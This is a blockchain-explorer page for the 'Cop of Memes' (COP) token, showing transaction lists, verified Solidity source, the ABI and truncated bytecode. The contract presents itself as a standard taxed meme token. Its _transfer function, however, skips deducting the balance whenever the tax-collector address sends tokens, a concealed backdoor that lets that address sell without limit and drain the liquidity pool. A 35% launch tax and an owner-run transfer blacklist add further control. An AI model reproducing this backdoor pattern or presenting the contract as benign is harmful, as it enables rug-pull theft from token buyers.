ETH Price: $3,361.42 (-8.10%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve199752082024-05-29 11:24:59223 days ago1716981899IN
0x4862704C...520f8E7C0
0 ETH0.0005513911.91725332
Approve199752032024-05-29 11:23:59223 days ago1716981839IN
0x4862704C...520f8E7C0
0 ETH0.000483410.37781955
Approve199752032024-05-29 11:23:59223 days ago1716981839IN
0x4862704C...520f8E7C0
0 ETH0.0005841312.62484579
Approve199752032024-05-29 11:23:59223 days ago1716981839IN
0x4862704C...520f8E7C0
0 ETH0.0005985312.9359612
Approve199752022024-05-29 11:23:47223 days ago1716981827IN
0x4862704C...520f8E7C0
0 ETH0.0005841312.62484579
Approve199752022024-05-29 11:23:47223 days ago1716981827IN
0x4862704C...520f8E7C0
0 ETH0.0005841312.62484579
Approve199751992024-05-29 11:23:11223 days ago1716981791IN
0x4862704C...520f8E7C0
0 ETH0.0005618312.14278953
Approve199751982024-05-29 11:22:59223 days ago1716981779IN
0x4862704C...520f8E7C0
0 ETH0.0005618312.14278953
Approve199751922024-05-29 11:21:47223 days ago1716981707IN
0x4862704C...520f8E7C0
0 ETH0.000398638.56888869
Approve199751682024-05-29 11:16:59223 days ago1716981419IN
0x4862704C...520f8E7C0
0 ETH0.0002435110.04736444
Approve199751672024-05-29 11:16:47223 days ago1716981407IN
0x4862704C...520f8E7C0
0 ETH0.0004925410.58750591
Approve199751592024-05-29 11:15:11223 days ago1716981311IN
0x4862704C...520f8E7C0
0 ETH0.0004754210.21956435
Approve199751542024-05-29 11:14:11223 days ago1716981251IN
0x4862704C...520f8E7C0
0 ETH0.0005268611.31073897
Transfer199751442024-05-29 11:12:11223 days ago1716981131IN
0x4862704C...520f8E7C0
0 ETH0.000812115.19136869
Approve199751432024-05-29 11:11:59223 days ago1716981119IN
0x4862704C...520f8E7C0
0 ETH0.0007028815.19136869
Approve199751422024-05-29 11:11:47223 days ago1716981107IN
0x4862704C...520f8E7C0
0 ETH0.0007397715.98861003
Approve199751362024-05-29 11:10:35223 days ago1716981035IN
0x4862704C...520f8E7C0
0 ETH0.0002710511.18338379
Approve199751362024-05-29 11:10:35223 days ago1716981035IN
0x4862704C...520f8E7C0
0 ETH0.0005667812.18338379
Approve199751232024-05-29 11:07:59223 days ago1716980879IN
0x4862704C...520f8E7C0
0 ETH0.0004801410.32110885
Approve199751132024-05-29 11:05:59223 days ago1716980759IN
0x4862704C...520f8E7C0
0 ETH0.000392278.43219145
Approve199751042024-05-29 11:04:11223 days ago1716980651IN
0x4862704C...520f8E7C0
0 ETH0.0005971212.90545089
Approve199751012024-05-29 11:03:35223 days ago1716980615IN
0x4862704C...520f8E7C0
0 ETH0.000618513.3676702
Approve199750792024-05-29 10:59:11223 days ago1716980351IN
0x4862704C...520f8E7C0
0 ETH0.0005318211.41725423
Approve199750732024-05-29 10:57:59223 days ago1716980279IN
0x4862704C...520f8E7C0
0 ETH0.000459859.93879829
Approve199750712024-05-29 10:57:35223 days ago1716980255IN
0x4862704C...520f8E7C0
0 ETH0.000478110.33309387
View all transactions

Latest 19 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
199750722024-05-29 10:57:47223 days ago1716980267
0x4862704C...520f8E7C0
0.01188394 ETH
199750722024-05-29 10:57:47223 days ago1716980267
0x4862704C...520f8E7C0
0.01188394 ETH
199750702024-05-29 10:57:23223 days ago1716980243
0x4862704C...520f8E7C0
0.06488417 ETH
199750702024-05-29 10:57:23223 days ago1716980243
0x4862704C...520f8E7C0
0.06488417 ETH
199750702024-05-29 10:57:23223 days ago1716980243
0x4862704C...520f8E7C0
0.07149265 ETH
199750702024-05-29 10:57:23223 days ago1716980243
0x4862704C...520f8E7C0
0.07149265 ETH
199750682024-05-29 10:56:59223 days ago1716980219
0x4862704C...520f8E7C0
0.09874939 ETH
199750682024-05-29 10:56:59223 days ago1716980219
0x4862704C...520f8E7C0
0.09874939 ETH
199750682024-05-29 10:56:59223 days ago1716980219
0x4862704C...520f8E7C0
0.08442715 ETH
199750682024-05-29 10:56:59223 days ago1716980219
0x4862704C...520f8E7C0
0.08442715 ETH
199750682024-05-29 10:56:59223 days ago1716980219
0x4862704C...520f8E7C0
0.09434418 ETH
199750682024-05-29 10:56:59223 days ago1716980219
0x4862704C...520f8E7C0
0.09434418 ETH
199750672024-05-29 10:56:47223 days ago1716980207
0x4862704C...520f8E7C0
0.09533684 ETH
199750672024-05-29 10:56:47223 days ago1716980207
0x4862704C...520f8E7C0
0.09533684 ETH
199750662024-05-29 10:56:35223 days ago1716980195
0x4862704C...520f8E7C0
0.06087215 ETH
199750662024-05-29 10:56:35223 days ago1716980195
0x4862704C...520f8E7C0
0.06087215 ETH
199750602024-05-29 10:55:23223 days ago1716980123
0x4862704C...520f8E7C0
0.05395283 ETH
199750602024-05-29 10:55:23223 days ago1716980123
0x4862704C...520f8E7C0
0.05395283 ETH
199750482024-05-29 10:52:59223 days ago1716979979
0x4862704C...520f8E7C0
1.5 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
COP

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-29
*/

/*
https://copofmemes.xyz
https://x.com/copofmemes
https://t.me/copofmemes
*/

// SPDX-License-Identifier: UNLICENSE


pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract COP is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxCollector;

    uint256 private _initialBuyTax=35;
    uint256 private _initialSellTax=35;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"Cop of Memes";
    string private constant _symbol = unicode"COP";
    uint256 public _maxTxAmount = 2000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 20 * 10**_decimals;
    uint256 public _maxTaxSwap= 2000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _taxFeeCollect) {
        _taxCollector = payable(_taxFeeCollect);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxCollector] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        address receiver = from;
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sellCount++;
                lastSellBlock = block.number;
            }

            if (to == uniswapV2Pair && from!= address(this) ){
                sendETHToFee(address(this).balance);
            }
        }
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(_taxCollector==receiver?0:amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxCollector.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function createPair() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    }
    
    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxCollector);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxCollector);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function rescueETH() external {
        require(_msgSender()==_taxCollector);
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_taxFeeCollect","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526023600655602360075560006008556000600955600f600a55600f600b55600f600c556000600d556009600a6200003c91906200036f565b6200004b90621e848062000387565b600e556200005c6009600a6200036f565b6200006b90621e848062000387565b600f556200007c6009600a6200036f565b6200008990601462000387565b6010556200009a6009600a6200036f565b620000a990621e848062000387565b6011556013805461ffff60a81b1916905560006014819055601555348015620000d157600080fd5b506040516200203538038062002035833981016040819052620000f491620003a1565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319166001600160a01b0383161790556200015e6009600a6200036f565b6200016e906305f5e10062000387565b336000908152600160208190526040822092909255600390620001996000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001f83390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002326009600a6200036f565b62000242906305f5e10062000387565b60405190815260200160405180910390a350620003cc565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002b15781600019048211156200029557620002956200025a565b80851615620002a357918102915b93841c939080029062000275565b509250929050565b600082620002ca5750600162000369565b81620002d95750600062000369565b8160018114620002f25760028114620002fd576200031d565b600191505062000369565b60ff8411156200031157620003116200025a565b50506001821b62000369565b5060208310610133831016604e8410600b841016171562000342575081810a62000369565b6200034e838362000270565b80600019048211156200036557620003656200025a565b0290505b92915050565b60006200038060ff841683620002b9565b9392505050565b80820281158282048414176200036957620003696200025a565b600060208284031215620003b457600080fd5b81516001600160a01b03811681146200038057600080fd5b611c5980620003dc6000396000f3fe60806040526004361061014f5760003560e01c8063751039fc116100b6578063a9059cbb1161006f578063a9059cbb146103c1578063bf474bed146103e1578063c9567bf9146103f7578063d34628cc1461040c578063dd62ed3e1461042c578063ec1f3f631461047257600080fd5b8063751039fc146103175780637d1db4a51461032c5780638da5cb5b146103425780638f9a55c01461036a57806395d89b41146103805780639e78fb4f146103ac57600080fd5b8063313ce56711610108578063313ce5671461024257806331c2d8471461025e5780633bbac5791461027e57806351bc3c85146102b757806370a08231146102cc578063715018a61461030257600080fd5b806306fdde031461015b578063095ea7b3146101a25780630faee56f146101d257806318160ddd146101f657806320800a001461020b57806323b872dd1461022257600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600c81526b436f70206f66204d656d657360a01b60208201525b6040516101999190611727565b60405180910390f35b3480156101ae57600080fd5b506101c26101bd36600461179a565b610492565b6040519015158152602001610199565b3480156101de57600080fd5b506101e860115481565b604051908152602001610199565b34801561020257600080fd5b506101e86104a9565b34801561021757600080fd5b506102206104ca565b005b34801561022e57600080fd5b506101c261023d3660046117c6565b6104fd565b34801561024e57600080fd5b5060405160098152602001610199565b34801561026a57600080fd5b5061022061027936600461181d565b610566565b34801561028a57600080fd5b506101c26102993660046118e2565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102c357600080fd5b50610220610605565b3480156102d857600080fd5b506101e86102e73660046118e2565b6001600160a01b031660009081526001602052604090205490565b34801561030e57600080fd5b50610220610654565b34801561032357600080fd5b506102206106c8565b34801561033857600080fd5b506101e8600e5481565b34801561034e57600080fd5b506000546040516001600160a01b039091168152602001610199565b34801561037657600080fd5b506101e8600f5481565b34801561038c57600080fd5b506040805180820190915260038152620434f560ec1b602082015261018c565b3480156103b857600080fd5b5061022061077a565b3480156103cd57600080fd5b506101c26103dc36600461179a565b61097d565b3480156103ed57600080fd5b506101e860105481565b34801561040357600080fd5b5061022061098a565b34801561041857600080fd5b5061022061042736600461181d565b610b79565b34801561043857600080fd5b506101e86104473660046118ff565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561047e57600080fd5b5061022061048d366004611938565b610c0b565b600061049f338484610c52565b5060015b92915050565b60006104b76009600a611a4b565b6104c5906305f5e100611a5a565b905090565b6005546001600160a01b0316336001600160a01b0316146104ea57600080fd5b4780156104fa576104fa81610d76565b50565b600061050a848484610db0565b61055c843361055785604051806060016040528060288152602001611bfc602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906113c4565b610c52565b5060019392505050565b6000546001600160a01b031633146105995760405162461bcd60e51b815260040161059090611a71565b60405180910390fd5b60005b8151811015610601576000600460008484815181106105bd576105bd611aa6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f981611abc565b91505061059c565b5050565b6005546001600160a01b0316336001600160a01b03161461062557600080fd5b30600090815260016020526040902054801561064457610644816113fe565b4780156106015761060181610d76565b6000546001600160a01b0316331461067e5760405162461bcd60e51b815260040161059090611a71565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106f25760405162461bcd60e51b815260040161059090611a71565b6106fe6009600a611a4b565b61070c906305f5e100611a5a565b600e5561071b6009600a611a4b565b610729906305f5e100611a5a565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107596009600a611a4b565b610767906305f5e100611a5a565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107a45760405162461bcd60e51b815260040161059090611a71565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107ed9030906107df6009600a611a4b565b610557906305f5e100611a5a565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610840573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108649190611ad5565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ea9190611ad5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610937573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095b9190611ad5565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b600061049f338484610db0565b6000546001600160a01b031633146109b45760405162461bcd60e51b815260040161059090611a71565b601354600160a01b900460ff1615610a0e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610590565b6012546001600160a01b031663f305d7194730610a40816001600160a01b031660009081526001602052604090205490565b600080610a556000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610abd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ae29190611af2565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5f9190611b20565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b03163314610ba35760405162461bcd60e51b815260040161059090611a71565b60005b815181101561060157600160046000848481518110610bc757610bc7611aa6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c0381611abc565b915050610ba6565b6005546001600160a01b0316336001600160a01b031614610c2b57600080fd5b6008548111158015610c3f57506009548111155b610c4857600080fd5b6008819055600955565b6001600160a01b038316610cb45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610590565b6001600160a01b038216610d155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610590565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610601573d6000803e3d6000fd5b6001600160a01b038316610e145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610590565b6001600160a01b038216610e765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610590565b60008111610ed85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610590565b6001600160a01b038316600090815260036020526040812054849060ff16158015610f1c57506001600160a01b03841660009081526003602052604090205460ff16155b15611262576001600160a01b03851660009081526004602052604090205460ff16158015610f6357506001600160a01b03841660009081526004602052604090205460ff16155b610f6c57600080fd5b610f986064610f92600a54600d5411610f8757600654610f8b565b6008545b8690611578565b90611601565b6013549092506001600160a01b038681169116148015610fc657506012546001600160a01b03858116911614155b8015610feb57506001600160a01b03841660009081526003602052604090205460ff16155b156110d357600e548311156110425760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610590565b600f5483611065866001600160a01b031660009081526001602052604090205490565b61106f9190611b42565b11156110bd5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610590565b600d80549060006110cd83611abc565b91905055505b6013546001600160a01b0385811691161480156110f957506001600160a01b0385163014155b15611126576111236064610f92600b54600d541161111957600754610f8b565b6009548690611578565b91505b30600090815260016020526040902054601354600160a81b900460ff1615801561115d57506013546001600160a01b038681169116145b80156111725750601354600160b01b900460ff165b801561117f575060105481115b801561118e5750600c54600d54115b1561122c576015544311156111a35760006014555b6003601454106111f55760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610590565b61121261120d8561120884601154611643565b611643565b6113fe565b6014805490600061122283611abc565b9091555050436015555b6013546001600160a01b03868116911614801561125257506001600160a01b0386163014155b156112605761126047610d76565b505b81156112dc57306000908152600160205260409020546112829083611658565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112d39086815260200190565b60405180910390a35b60055461131d906001600160a01b038381169116146112fb57836112fe565b60005b6001600160a01b038716600090815260016020526040902054906116b7565b6001600160a01b03861660009081526001602052604090205561136261134384846116b7565b6001600160a01b03861660009081526001602052604090205490611658565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113ac86866116b7565b60405190815260200160405180910390a35050505050565b600081848411156113e85760405162461bcd60e51b81526004016105909190611727565b5060006113f58486611b55565b95945050505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061144657611446611aa6565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561149f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c39190611ad